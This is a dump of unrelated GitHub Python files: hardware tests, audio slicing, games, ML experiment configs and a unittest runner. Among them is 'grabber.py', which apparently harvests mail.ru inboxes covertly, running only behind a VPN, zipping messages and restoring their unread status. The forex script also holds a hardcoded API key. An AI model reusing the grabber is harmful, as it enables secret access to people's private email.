plt.show()\n\n","repo_name":"maximenc/Opti-Portfolio","sub_path":"opti.py","file_name":"opti.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13695718616","text":"#!/usr/bin/env python\n\n\"\"\"\nDCDriverTest.py: Test of Cytron DC motor driver, with PWM signals\nsupplied directly by Raspberry Pi. This code is derived from the\nMDD10A.py module created by Mohammad Omar\n\"\"\"\n\n__author__ = \"Murray Ireland\"\n__email__ = \"murray@murrayire.land\"\n__date__ = \"24/01/17\"\n\n# Import libraries\nimport time\nimport RPi.GPIO as GPIO\n\n# Set GPIO mode\nGPIO.setmode(GPIO.BCM)\n\n# Disable warnings\nGPIO.setwarnings(False)\n\n# Constants\npwm_max = 100\n\n# Pins for Raspberry Pi 3\nl_dir_pin = 22\nr_dir_pin = 23\nl_pwm_pin = 17\nr_pwm_pin = 18\n\n# Set up directions\nGPIO.setup(l_dir_pin, GPIO.OUT)\nGPIO.setup(r_dir_pin, GPIO.OUT)\n\n# Set direction pin values to low\nGPIO.output(l_dir_pin, GPIO.LOW)\nGPIO.output(r_dir_pin, GPIO.LOW)\n\n# Set up speeds\nGPIO.setup(l_pwm_pin, GPIO.OUT)\nGPIO.setup(r_pwm_pin, GPIO.OUT)\n\n# Set motor pin frequency to 20 Hz\nl_pwm = GPIO.PWM(l_pwm_pin, 20)\nr_pwm = GPIO.PWM(r_pwm_pin, 20)\n\n# Start PWM channels and set duty cycle\nl_pwm.start(0)\nl_pwm.ChangeDutyCycle(0)\nr_pwm.start(0)\nr_pwm.ChangeDutyCycle(0)\n\nfor i in range(0, 100, 1):\n # Change duty cycle\n l_pwm.ChangeDutyCycle(i)\n r_pwm.ChangeDutyCycle(i)\n\n # Wait\n time.sleep(0.2)\n\n# Stop\nl_pwm.stop()\nr_pwm.stop()\n\n# Clean up\nGPIO.cleanup()","repo_name":"murrayireland/Rover-Code","sub_path":"tests/DCDriverTest/DCDriverTest.py","file_name":"DCDriverTest.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5609315163","text":"import librosa\nimport numpy as np\nimport os\n#pip install progressbar2\nfrom progressbar import ProgressBar\nimport shutil\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg,NavigationToolbar2TkAgg\nimport matplotlib.backends.tkagg as tkagg\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg\nfrom matplotlib.figure import Figure\n\n\n\ndef remove_folder(path):\n # check if folder exists\n if os.path.exists(path):\n # remove if exists\n shutil.rmtree(path)\n\ndef prepare(audio, RATE):\n audio=librosa.to_mono(audio)\n audio=librosa.util.fix_length(audio,RATE)\n audio=librosa.util.normalize(audio)\n return audio\n\n\ndef getFingerPrint(audio, RATE):\n audio=prepare(audio,RATE)\n cqt=librosa.cqt(audio,sr=RATE,hop_length=2048)\n return cqt.flatten('F')\n\ndef basename(file):\n file = os.path.basename(file)\n return os.path.splitext(file)[0]\n\ndef removeToClose(times,tempo,spaceModificer=20):\n arrayIndex=[]\n for i in range(0,len(times)-1):\n #tempo/20 precysion of slice ->20 bigger make more space\n if times[i+1]-times[i]<(tempo/spaceModificer):\n arrayIndex.append(i+1)\n\n return np.delete(times,arrayIndex)\ndef moveBack(date,moveOn=0):\n if(moveOn==0):\n moveOn=date[0]\n for i in range(0,len(date)):\n date[i]=date[i]-moveOn\n return date\n\ndef SliceFileOnFragments(frame,tk,NAME=\"\",spaceModificer=20,pickExpadner=5):\n remove_folder(\"beats\")\n if(NAME[-4::]!=\".wav\"):\n NAME=NAME+\".wav\"\n fullAudio,RATE = librosa.load(NAME)\n\n #print(len(fullAudio)/RATE)\n audioNormalizte=librosa.util.normalize(fullAudio**pickExpadner)\n percusive=librosa.effects.percussive(audioNormalizte)\n o_env = librosa.onset.onset_strength(percusive,sr=RATE,feature=librosa.cqt)\n #print(len(o_env))\n onsetFrames = librosa.onset.onset_detect(onset_envelope=o_env,sr=RATE)\n tempo,timeBeats=librosa.beat.beat_track(percusive,RATE,start_bpm=60)\n\n #print(tempo)\n #print(onsetFrames)\n onsetFrames=removeToClose(onsetFrames,tempo,spaceModificer)\n\n #print(onsetFrames)\n onsetFrames=moveBack(onsetFrames)\n # Ta tablica interesuje mnie do MIDI\n print(onsetFrames)\n onsetSamples = list(librosa.frames_to_samples(onsetFrames))\n\n #print(onsetSamples)\n #for i in onsetSamples:\n #print(i/RATE)\n onsetSamples=np.concatenate(onsetSamples,len(fullAudio))\n\n starts = onsetSamples[0:-1]\n stops=onsetSamples[1:]\n #print(starts)\n #print(stops)\n #print(len(onsetFrames))\n clicks = librosa.core.clicks(frames=onsetFrames, sr=RATE, length=len(fullAudio))\n librosa.output.write_wav(\"output.wav\", fullAudio + clicks, RATE)\n\n\n\n\n fig = Figure(facecolor='white')\n axis = fig.add_subplot(111)\n time_vector = np.arange(0, len(fullAudio)/RATE, 1/RATE)\n axis.plot(time_vector,clicks)\n axis.plot(time_vector,fullAudio)\n axis.set_xlabel(\"Seconds\")\n\n\n canvas = FigureCanvasTkAgg(fig, frame)\n\n\n\n #canvas.get_tk_widget().pack(side=tk.BOTTOM, fill=tk.BOTH,expand=True)\n canvas.get_tk_widget().grid(column=0, row=4, columnspan=4, rowspan=4, sticky='nsew')\n\n toolbar_frame=tk.LabelFrame(frame,text=\"\")\n toolbar_frame.grid(column=0,row=3,columnspan=4,sticky='nsew')\n toolbar=NavigationToolbar2TkAgg(canvas,toolbar_frame)\n\n frame.update()\n\n\n #print(timeBeats)\n\n\n #start slicing\n analysisFolder=\"beats\"\n\n samplesFolder=os.path.join(analysisFolder,\"samples\")\n #print(analysisFolder)\n try:\n os.makedirs(samplesFolder)\n except:\n pass\n\n vectors = []\n words = []\n filenames = []\n\n #TODO MakeProgressBar in new Window\n pbar=ProgressBar()\n for i,(start,stop) in enumerate(pbar(zip(starts,stops))):\n\n audio=fullAudio[start:stop]\n filename=os.path.join(samplesFolder,str(i)+\".wav\")\n librosa.output.write_wav(filename,audio,RATE)\n vector=getFingerPrint(audio,RATE)\n word = basename(filename)\n vectors.append(vector)\n words.append(word)\n filenames.append(filename)\n np.savetxt(os.path.join(analysisFolder,\"vectors.txt\"),vectors,fmt='%.5f',delimiter='\\t')\n np.savetxt(os.path.join(analysisFolder,\"words.txt\"),words,fmt='%s')\n np.savetxt(os.path.join(analysisFolder,'filenames.txt'),filenames,fmt='%s')\n\n #canvas.show()\n\n\n\n#SliceFileOnFragments(NAME=\"MonoRythm\")\n","repo_name":"theWiking/ThePDrummer","sub_path":"SliceAudio.py","file_name":"SliceAudio.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"10135089431","text":"import requests\nimport re \nimport json\npairs=[['AUD','JPY'],['AUD','NZD'],['AUD','USD'],['CAD','JPY'],['EUR','JPY'],['EUR','USD'],['GBP','JPY'],['USD','JPY']]\nstr_url='https://www.alphavantage.co/query?function=CURRENCY_EXCHANGE_RATE&from_currency=USD&to_currency=JPY&apikey=TTNX3GCSG7Z5KVI3'\ndef data_gen(url):\n r = requests.get(url)\n data = r.json()\n return data\n\ncurrencies_data={} \nfrom time import sleep\ndef pairer(pair): \n global str_url\n P1=pair[0] \n P2=pair[1] \n #print(P1,P2) \n start_url=str_url\n s=start_url.replace(\"USD\",P1)\n s1=s.replace('JPY',P2)\n return s1\nfor currency_pair_lnk in pairs:\n lnk=str(pairer(currency_pair_lnk))\n currencypair=str(currency_pair_lnk[0])+str(currency_pair_lnk[1]) \n dta=data_gen(lnk) \n currencies_data[currencypair]=dta\n sleep(20) \n#print(currencies_data) \nfine_data={} \nfor curr in currencies_data.keys(): \n val=currencies_data[curr] \n #print(val)\n #print(curr) \n prce=float(val['Realtime Currency Exchange Rate']['5. Exchange Rate'])\n fine_data[curr]=prce\ndef final_data():\n return fine_data\n#print(final_data())\n#finaldata=final_data()\nimport time\n#time_stamp=time.asctime()\nimport json\ntime_stamp=time.asctime()\nFinal_data={} \nFinal_data[time_stamp]=final_data()\nfilename = 'realtimeforex.json'\nentry = final_data()\nimport os\nif os.stat(filename).st_size == 0:\n with open(filename, \"w\") as file:\n json.dump(Final_data, file)\nelse:\n with open(filename, \"r+\") as file:\n data = json.load(file)\n data[time_stamp]=entry\n file.seek(0)\n json.dump(data, file)\n\n\n","repo_name":"JOSPHATT/REALTIMEFOREX.py","sub_path":"realtimeforex.py","file_name":"realtimeforex.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13121532742","text":"def main():\r\n\tchar = \"\"\r\n\tplayerNum = 0\r\n\ti = 0\r\n\r\n\tgrid = [\r\n\t\t[\"_\", \"_\", \"_\"],\r\n\t\t[\"_\", \"_\", \"_\"],\r\n\t\t[\"_\", \"_\", \"_\"]\r\n\t]\r\n\r\n\ttracker = {\r\n\t\t\"X\": {\r\n\t\t\t\"Rows\": {\r\n\t\t\t\t0: 0,\r\n\t\t\t\t1: 0,\r\n\t\t\t\t2: 0\r\n\t\t\t},\r\n\t\t\t\"Columns\": {\r\n\t\t\t\t0: 0,\r\n\t\t\t\t1: 0,\r\n\t\t\t\t2: 0\r\n\t\t\t},\r\n\t\t\t\"Diagonals\": {\r\n\t\t\t\t\"Bottom-Up\": 0,\r\n\t\t\t\t\"Top-Down\": 0\r\n\t\t\t}\r\n\t\t},\r\n\t\t\"O\": {\r\n\t\t\t\"Rows\": {\r\n\t\t\t\t0: 0,\r\n\t\t\t\t1: 0,\r\n\t\t\t\t2: 0\r\n\t\t\t},\r\n\t\t\t\"Columns\": {\r\n\t\t\t\t0: 0,\r\n\t\t\t\t1: 0,\r\n\t\t\t\t2: 0\r\n\t\t\t},\r\n\t\t\t\"Diagonals\": {\r\n\t\t\t\t\"Bottom-Up\": 0,\r\n\t\t\t\t\"Top-Down\": 0\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tr3 = range(3)\r\n\r\n\twhile i < 9:\r\n\t\tif i % 2 == 0:\r\n\t\t\tchar = \"X\"\r\n\t\t\tplayerNum = 1\r\n\t\telse:\r\n\t\t\tchar = \"O\"\r\n\t\t\tplayerNum = 2\r\n\r\n\t\tcoords = [getInt(f\"Player {playerNum}, in what row would you like to place your {char}? [1-3] \", [1, 3]) - 1, getInt(f\"In what column would you like to place your {char}? [1-3] \", [1, 3]) - 1]\r\n\t\tgridPos = grid[coords[0]][coords[1]]\r\n\t\tif gridPos == \"X\" or gridPos == \"O\":\r\n\t\t\tprint(\"Replacing players' current X's or O's is not allowed\")\r\n\t\t\tcontinue\r\n\t\tgrid[coords[0]][coords[1]] = char\r\n\t\t\r\n\t\tif gridPos == \"X\":\r\n\t\t\tif coords == [0, 0]:\r\n\t\t\t\ttracker[\"X\"][\"Rows\"][0] += 1\r\n\t\t\t\ttracker[\"X\"][\"Columns\"][0] += 1\r\n\t\t\t\ttracker[\"X\"][\"Diagonals\"][\"Top-Down\"] += 1\r\n\r\n\t\tfor j in r3:\r\n\t\t\tfor k in r3:\r\n\t\t\t\tprint(f\"{grid[j][k]} \", end=\"\")\r\n\t\t\tprint(\"\\n\")\r\n\t\t\r\n\t\t\t\t\r\n\r\n\t\ti += 1\r\n\r\ndef getInt(prompt, bounds):\r\n\twhile True:\r\n\t\ttry:\r\n\t\t\treturnInt = int(input(prompt))\r\n\t\t\tif returnInt < bounds[0] or returnInt > bounds[1]:\r\n\t\t\t\traise ValueError\r\n\t\t\treturn returnInt\r\n\t\texcept ValueError:\r\n\t\t\tprint(\"That isn't a number\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","repo_name":"Rizzy42/school-cs2022","sub_path":"challenges/School-Count-And-Play/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10446513510","text":"from plan2vec.plan2vec.plan2vec_streetlearn_2 import main, Args\n\nif __name__ == \"__main__\":\n import jaynes\n from plan2vec_experiments import instr, config_charts\n\n Args.load_local_metric = \"same as before\"\n Args.load_global_metric = \"same as local metric\"\n\n jaynes.config(\"vector-gpu\")\n\n Args.visualization_interval = False\n\n local_metric_exp_path = \"/geyang/plan2vec/2019/07-31/streetlearn/local_metric/manhattan-xl/LocalMetricConvDeep/lr-(3e-05)/00.37/13.921429\"\n\n for env_id, global_checkpoint in [\n [\"manhattan-tiny\",\n \"/geyang/plan2vec/2019/07-31/baselines/vae/streetlearn_vae/dim-(2)/manhattan-tiny/lr-(3e-05)/06.57/11.442504\"],\n [\"manhattan-small\",\n \"/geyang/plan2vec/2019/07-31/baselines/vae/streetlearn_vae/dim-(2)/manhattan-small/lr-(3e-05)/06.57/23.367555\"],\n [\"manhattan-medium\",\n \"/geyang/plan2vec/2019/07-31/baselines/vae/streetlearn_vae/dim-(2)/manhattan-medium/lr-(3e-05)/06.57/30.313456\"],\n [\"manhattan-large\",\n \"/geyang/plan2vec/2019/07-31/baselines/vae/streetlearn_vae/dim-(2)/manhattan-large/lr-(3e-05)/06.57/37.217606\"]\n ]:\n latent_dim = 2\n _ = instr(main,\n __postfix=f\"{env_id}\",\n lr=0,\n env_id=env_id,\n data_path=f\"~/fair/streetlearn/processed-data/{env_id}\",\n latent_dim=latent_dim,\n plan_steps=1,\n neighbor_r=0.9,\n evaluate=True, term_r=1.2e-4 * float(2),\n num_epochs=200,\n visualization_interval=False,\n global_metric=\"ResNet18L2\",\n load_local_metric=f\"{local_metric_exp_path}/models/local_metric_400.pkl\",\n load_global_metric=f\"{global_checkpoint}/checkpoints/encoder.pkl\",\n load_global_metric_matcher=lambda d, k, *_: d[k.replace('embed.', '')]\n )\n\n config_charts(path=\"streetlearn.charts.yml\")\n jaynes.run(_)\n\n jaynes.listen()\n","repo_name":"geyang/plan2vec","sub_path":"plan2vec_experiments/baselines/vae_baselines/vae_greedy_streetlearn.py","file_name":"vae_greedy_streetlearn.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"3"} +{"seq_id":"8218668801","text":"#!/usr/bin/python3\n\n#Write a Python function to calculate the factorial of a number (a non-negative integer). The function accepts the number as an argument.\n\ndef calc():\n num = float(input('Please enter a number'))\n fact = 1\n if num < 0:\n raise ValueError(\"The factorial does not exists\")\n elif num == 0:\n return 1\n else:\n for i in range (1, num+1):\n fact = fact * i\n return fact\n\n\nfactorial = calc()\nprint(factorial)\n","repo_name":"nguredavid/learnpython","sub_path":"test/23feb/factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43721248520","text":"from time import sleep\nimport imaplib\nimport datetime\nimport email\nimport os\nfrom zipfile import ZipFile\nfrom threading import Thread\nfrom grabber.models.Emails import Emails, Zips\nfrom core.daemon import decrypt, reform_date, set_config, get_config\n\n'''\n Скачивает письма и создает архив по формату.\n'''\n\n\nclass Grabbing(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n if get_config('grabbing') == '1':\n return\n set_config('grabbing', '1')\n while True:\n if get_config('vpn') == '1':\n break\n else:\n sleep(60)\n emails = Emails.objects.all().filter(status='1')\n today = datetime.date.today().strftime('%d.%m.%Y')\n directory = os.path.join('emails', today)\n for eml in emails:\n if not os.path.exists(directory):\n os.makedirs(directory)\n last_messages_datetime = datetime.datetime.strptime(eml.last_messages_datetime, '%d.%m.%Y %H:%M')\n if not check_ip():\n set_config('grabbing', '0')\n continue\n result, last_msg_dt, zips = scan_email(eml.email, decrypt(eml.password), directory, last_messages_datetime)\n for a_zip in zips:\n zip_file = Zips()\n zip_file.name = os.path.basename(a_zip)\n zip_file.path = a_zip\n zip_file.save()\n if result == 'OK':\n eml.last_scan_datetime = datetime.datetime.now().strftime('%d.%m.%Y %H:%M')\n eml.last_messages_datetime = (last_msg_dt + datetime.timedelta(hours=3)).strftime('%d.%m.%Y %H:%M')\n else:\n if result == 'PC':\n eml.comment = 'Password changed. ' + last_msg_dt.strftime('%d.%m.%Y %H:%M:%S')\n eml.status = '0'\n if result == 'NI':\n eml.comment = 'Can\\' select inbox. ' + last_msg_dt.strftime('%d.%m.%Y %H:%M:%S')\n eml.status = '-1'\n if result == 'NA':\n eml.comment = 'Can\\' search ALL messages. ' + last_msg_dt.strftime('%d.%m.%Y %H:%M:%S')\n eml.status = '-1'\n eml.save()\n set_config('grabbing', '0')\n\n\ndef scan_email(the_email, emails_password, base_dir, last_scan_date):\n emails_zip = []\n dates = []\n tmp_dir = 'tmp'\n first_time = True\n last_messages_date = last_scan_date\n try:\n imap_session = imaplib.IMAP4_SSL('imap.mail.ru')\n except Exception as e:\n return 'error connect with IMAP ' + str(e)\n try:\n result = imap_session.login(the_email, emails_password)\n except:\n return 'PC', datetime.datetime.now()\n del result\n try:\n imap_session.select('INBOX')\n except:\n return 'NI', datetime.datetime.now()\n status, data = imap_session.uid('search', 'UNSEEN')\n unseen_messages = data[0].split()\n status, data = imap_session.uid('search', 'ALL')\n if status != 'OK':\n return 'NA', datetime.datetime.now()\n messages_id = data[0].split()\n\n for message_id in reversed(messages_id):\n attached_files = []\n logs_name = datetime.date.today().strftime('%m%d') + '_' + message_id.decode('utf-8') + '_' + the_email\n status, data = imap_session.uid('fetch', message_id, '(RFC822)')\n if status != 'OK':\n continue\n message = email.message_from_bytes(data[0][1])\n dt_list = message['date'].split(' ')\n messages_time_zone = dt_list[len(dt_list) - 1]\n if messages_time_zone[2] == 'T':\n time_zone = 6\n elif messages_time_zone[2] == 'S':\n time_zone = 3\n else:\n time_zone = 6 - int(messages_time_zone[2])\n messages_date = reform_date(email.utils.parsedate_to_datetime(message['date'])) + \\\n datetime.timedelta(hours=time_zone)\n dates.append(message['date'] + ' ' + str(time_zone) + ' ' + messages_date.strftime('%d.%m.%Y %H:%M'))\n if first_time:\n last_messages_date = messages_date\n first_time = False\n if messages_date < last_scan_date:\n break\n subject = ''\n body_txt = ''\n body_html = ''\n email_from = ''\n email_to = ''\n email_cc = ''\n if 'from' in message:\n if message['From'][0:7] == '=?UTF-8':\n tmp = email.header.decode_header(message['From'])\n for i in range(1, len(tmp), 2):\n email_from = email_from + email.header.decode_header(message['From'])[i - 1][0].decode('utf-8') + \\\n email.header.decode_header(message['From'])[i][0].decode('utf-8') + ' '\n else:\n email_from = message['From']\n # tmp = email.header.decode_header(message['from'])\n # for i in range(0, len(tmp), 2):\n # email_from = message['from']\n if 'To' in message:\n if message['To'][0:7] == '=?UTF-8':\n tmp = email.header.decode_header(message['To'])\n for i in range(1, len(tmp), 2):\n email_to = email_to + email.header.decode_header(message['To'])[i - 1][0].decode('utf-8') + \\\n email.header.decode_header(message['To'])[i][0].decode('utf-8') + ' '\n else:\n email_to = message['To']\n # tmp = message['To']\n # for i in range(1, len(tmp), 2):\n # email_to = message['To']\n if 'Cc' in message:\n if message['Cc'][0:7] == '=?UTF-8':\n tmp = email.header.decode_header(message['Cc'])\n for i in range(1, len(tmp), 2):\n email_cc = email_cc + email.header.decode_header(message['Cc'])[i - 1][0].decode('utf-8') + \\\n email.header.decode_header(message['Cc'])[i][0].decode('utf-8') + ' '\n else:\n email_cc = message['Cc']\n # tmp = email.header.decode_header(message['Cc'])\n # for i in range(1, len(tmp), 2):\n # email_cc = message['Cc']\n if 'Subject' in message:\n subject = message['Subject']\n if message['Subject'][0:7].upper() == '=?UTF-8':\n subject = email.header.decode_header(message['Subject'])[0][0].decode('utf-8')\n if message.is_multipart():\n for part in message.walk():\n if part.get_content_type() == 'text/plain' and not part.get_filename():\n body_txt = part.get_payload(decode=True)\n try:\n body_txt = body_txt.decode('utf-8')\n except UnicodeDecodeError:\n body_txt = 'Ошибка кодировки'\n if part.get_content_type() == 'text/html':\n body_html = part.get_payload(decode=True)\n try:\n body_html = body_html.decode('utf-8')\n except UnicodeDecodeError:\n body_txt = 'Ошибка кодировки'\n if part.get_filename():\n file_name = email.header.decode_header(part.get_filename())[0][0]\n try:\n file_name = file_name.decode('utf-8')\n except AttributeError:\n file_name = email.header.decode_header(part.get_filename())[0][0]\n if not os.path.exists(tmp_dir):\n os.makedirs(tmp_dir)\n attach = os.path.join(tmp_dir, file_name)\n with open(attach, 'wb') as fl:\n fl.write(part.get_payload(decode=True))\n fl.close()\n attached_files.append(attach)\n body = body_txt\n if body_txt == '':\n body = body_html\n for_cc = ''\n if email_cc != '':\n for_cc = '\\nКопия: ' + email_cc\n text_for_log = \"\"\"\nПисьмо от: {0}\nКому: {1} {2}\nТема письма: {3} \n\nТекст письма:\n----------------------------------------------------------------\n{4}\n----------------------------------------------------------------\n \"\"\".format(email_from, email_to, for_cc, subject, body)\n with open(os.path.join(tmp_dir, logs_name + '.txt'), 'w', encoding='utf8') as fl:\n fl.write(text_for_log)\n fl.close()\n with ZipFile(os.path.join(base_dir, logs_name + '.zip'), 'w') as zf:\n for att in attached_files:\n zf.write(att, os.path.basename(att))\n zf.write(os.path.join(tmp_dir, logs_name + '.txt'), logs_name + '.txt')\n zf.close()\n emails_zip.append(os.path.join(base_dir, logs_name + '.zip'))\n if message_id in unseen_messages:\n imap_session.uid('store', message_id, '-FLAGS', '\\Seen')\n for att in attached_files:\n os.remove(att)\n os.remove(os.path.join(tmp_dir, logs_name + '.txt'))\n imap_session.close()\n with open('times.txt', 'w', encoding='utf-8') as fl:\n fl.write(\"\\n\".join(dates))\n fl.close()\n return 'OK', last_messages_date, emails_zip\n","repo_name":"atabayev/asar","sub_path":"core/grabber.py","file_name":"grabber.py","file_ext":"py","file_size_in_byte":9327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18345771139","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/3/18 17:48\r\n# @Author : xuyun\r\nimport unittest,time,os,multiprocessing,sys\r\nsys.path.append('\\Test_DemoOne\\Test')\r\nfrom HTML_TestRunner import HTMLTestReportCN\r\nfrom multiprocessing import Process\r\n\r\n# 创建一个函数\r\ndef listcase():\r\n # 定义一个数组casedir\r\n casedir = []\r\n # 读取这个路径下文件\r\n listos = os.listdir(\"D:/test_demo/Test_DemoOne/Test/\")\r\n # 遍历读取到的文件listos,\r\n for casedemo in listos:\r\n # 把读取到的文件/文件夹包含Thread的添加到casedir中\r\n # if in ThreadDemo是否在casedemo中\r\n if \"ThreadDemo\" in casedemo:\r\n # .appedn添加\r\n casedir.append(casedemo)\r\n # 输出casedir\r\n print(casedir)\r\n # 定义suite数组\r\n suite=[]\r\n # for循环读取casedir中的数据(即ThreadDemoOne和ThreadDemoTwo两个文件夹)\r\n for n in casedir:\r\n\r\n testunit = unittest.TestSuite()\r\n # 通过discover分别读取ThreadDemoOne和ThreadDemoTwo文件夹下匹配到\"*_login.py\"的文件\r\n discover=unittest.defaultTestLoader.discover(str(n),pattern='*_login.py',top_level_dir=r'D:/test_demo/Test_DemoOne/')\r\n # 循环读取discover\r\n for test_unit in discover:\r\n # 循环读取test_unit\r\n for test_case in test_unit:\r\n # 将所有用例文件添加到testunit测试套件中\r\n testunit.addTest(test_case)\r\n # 再将测试套件追加到suite数组中\r\n suite.append(testunit)\r\n # 返回suite,casedir两个数组的值\r\n return suite,casedir\r\n\r\n# 定义runcase函数\r\ndef runcase(suite,casedir):\r\n now = time.strftime('%Y-%m-%d-%H_%M_%S',time.localtime(time.time()))\r\n filename = 'D:/test_demo/Test_DemoOne/manage/TestReport/' + now + 'ThreadTestDemo.html'\r\n fp = open(filename,'wb')\r\n\r\n proclist = []\r\n s = 0\r\n # for循环把suite数组中的用例执行结果写入HTMLTestRunner测试报告中\r\n for i in suite:\r\n runner = HTMLTestReportCN.HTMLTestRunner(\r\n stream=fp,\r\n title=str(casedir[s])+u'测试报告',\r\n description=u'用例执行情况: '\r\n )\r\n # multiprocessing.Process创建用例执行的多进程,\r\n proc = multiprocessing.Process(target=runcase,args=(suite,casedir))\r\n # 把创建的多线程追加到proclist数组中\r\n proclist.append(proc)\r\n s = s+1\r\n # for循环proc.start()开始进程活动,proc.join()终止进程活动\r\n for proc in proclist:\r\n proc.start()\r\n for proc in proclist:\r\n proc.join()\r\n # 关闭fileOpen流\r\n fp.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n runtmp = listcase()\r\n runcase(runtmp[0],runtmp[1])\r\n","repo_name":"pycharm3/dunyun_tests","sub_path":"Test/all_thread.py","file_name":"all_thread.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74078069520","text":"\"Module representing checkers game interface\"\nfrom copy import deepcopy\nimport pygame\nfrom game.board import Board\nfrom game.config import SizeConstants as const\nfrom game.config import StoneEnum\nfrom game.config import WINNER_FONT\nfrom game.config import Colors\n\n\nclass Checkers:\n \"\"\"Class representing game of checkers\"\"\"\n\n def __init__(self, screen) -> None:\n self.screen = screen\n self.board = Board(const.ROWS, const.COLS,\n const.CELL_SIZE, const.CIRCLE_RADIUS)\n self.turn = StoneEnum.WHITE.value\n\n self.all_pieces_valid_moves = self.board.get_valid_moves_all_pieces(\n self.turn)\n # print(str(self.turn) + ': ')\n # print(self.all_pieces_valid_moves)\n # print()\n self.selected_piece = None\n self.valid_moves = None\n\n self.move_count = 0\n\n def update_screen(self) -> None:\n \"\"\"Update game on screen\"\"\"\n self.board.draw_all(self.screen)\n if self.selected_piece is not None:\n self.board.highlight(self.screen, *self.selected_piece)\n self.board.draw_valid_moves(self.screen, self.valid_moves)\n self.board.draw_pieces(self.screen)\n pygame.display.update()\n\n def draw_winner(self, text):\n \"\"\"Draw Winner name on screen\"\"\"\n draw_text = WINNER_FONT.render('WINNER: ' + text, 1, Colors.BLACK)\n self.screen.blit(draw_text, (const.WIDTH/2 - draw_text.get_width() /\n 2, const.HEIGHT/2 - draw_text.get_height()/2))\n # print(f'WINNER: {text} ') # MAC\n # print(f'MOVE COUNT: {self.move_count}')\n pygame.display.update()\n pygame.time.delay(5000)\n\n def check_winner(self, draw=True) -> None:\n \"\"\"Check if winner is to be crowned\"\"\"\n winner = self.board.get_winner()\n if not draw and (winner or len(self.all_pieces_valid_moves) == 0):\n return True\n if len(self.all_pieces_valid_moves) == 0:\n if self.on_turn(StoneEnum.BLACK.value):\n self.draw_winner('WHITE')\n else:\n self.draw_winner('BLACK')\n return True\n if winner is None:\n return False\n if winner == StoneEnum.WHITE.value:\n self.draw_winner('WHITE')\n else:\n self.draw_winner('BLACK')\n return True\n\n @staticmethod\n def get_clicked_pos(pos) -> tuple[int, int]:\n \"\"\"Convert pygame pos to game board position\"\"\"\n x_pos, y_pos = pos\n row = y_pos // const.CELL_SIZE\n col = x_pos // const.CELL_SIZE\n return row, col\n\n def get_board(self):\n \"\"\"Retrieve game board\"\"\"\n return deepcopy(self.board)\n\n def find_move(self, row, col):\n \"\"\"Find move with given target from all valid moves\"\"\"\n for dest, captured_pieces in self.valid_moves:\n if dest == (row, col):\n return captured_pieces\n return False\n\n def try_move(self, row, col) -> bool:\n \"\"\"Try given move\"\"\"\n captured_pieces = self.find_move(row, col)\n if captured_pieces is False: # not in valid moves\n return False\n\n # move piece\n self.board.apply_move(*self.selected_piece, row, col, captured_pieces)\n\n self.selected_piece = None\n self.valid_moves = None\n if self.on_turn(StoneEnum.WHITE.value):\n self.move_count += 1\n self.change_turn()\n self.all_pieces_valid_moves = self.board.get_valid_moves_all_pieces(\n self.turn)\n print(str(self.turn) + ': ')\n print(self.all_pieces_valid_moves)\n print()\n return True\n\n def process_input(self, pos) -> None:\n \"\"\"Process input from mouse\"\"\"\n row, col = self.get_clicked_pos(pos)\n if not self.board.valid_square(row, col):\n return\n if (row, col) == self.selected_piece:\n # print(self.valid_moves)\n return\n # print(f'Clicked on {row}, {col}')\n # print(self.valid_moves)\n if self.selected_piece is None:\n if not self.on_turn(self.board.get_piece(row, col)):\n return\n self.selected_piece = (row, col)\n # color = int(self.board.get_piece(*self.selected_piece).copy())\n self.valid_moves = self.all_pieces_valid_moves.get(\n self.selected_piece, ())\n return\n if self.on_turn(self.board.get_piece(row, col)):\n self.selected_piece = (row, col)\n self.valid_moves = self.all_pieces_valid_moves.get(\n self.selected_piece, ())\n return\n self.try_move(row, col)\n\n def on_turn(self, color) -> bool:\n \"\"\"Check who is on turn\"\"\"\n if self.turn == StoneEnum.WHITE.value:\n return color in (self.turn, StoneEnum.WHITE_KING.value)\n return color in (self.turn, StoneEnum.BLACK_KING.value)\n\n def change_turn(self) -> None:\n \"\"\"Change turn from WHITE to BLACK or reverse\"\"\"\n if self.turn == StoneEnum.WHITE.value:\n self.turn = StoneEnum.BLACK.value\n else:\n self.turn = StoneEnum.WHITE.value\n\n def ai_move(self, move):\n \"\"\"Apply move from AI\"\"\"\n piece, dest, captured_pieces = move\n assert self.on_turn(self.board.get_piece(*piece))\n if self.on_turn(StoneEnum.WHITE.value):\n self.move_count += 1\n self.board.apply_move(*piece, *dest, captured_pieces)\n\n self.selected_piece = None\n self.valid_moves = None\n self.change_turn()\n self.all_pieces_valid_moves = self.board.get_valid_moves_all_pieces(\n self.turn)\n print(str(self.turn) + ': ')\n print(self.all_pieces_valid_moves)\n print()\n pygame.time.delay(100)\n return 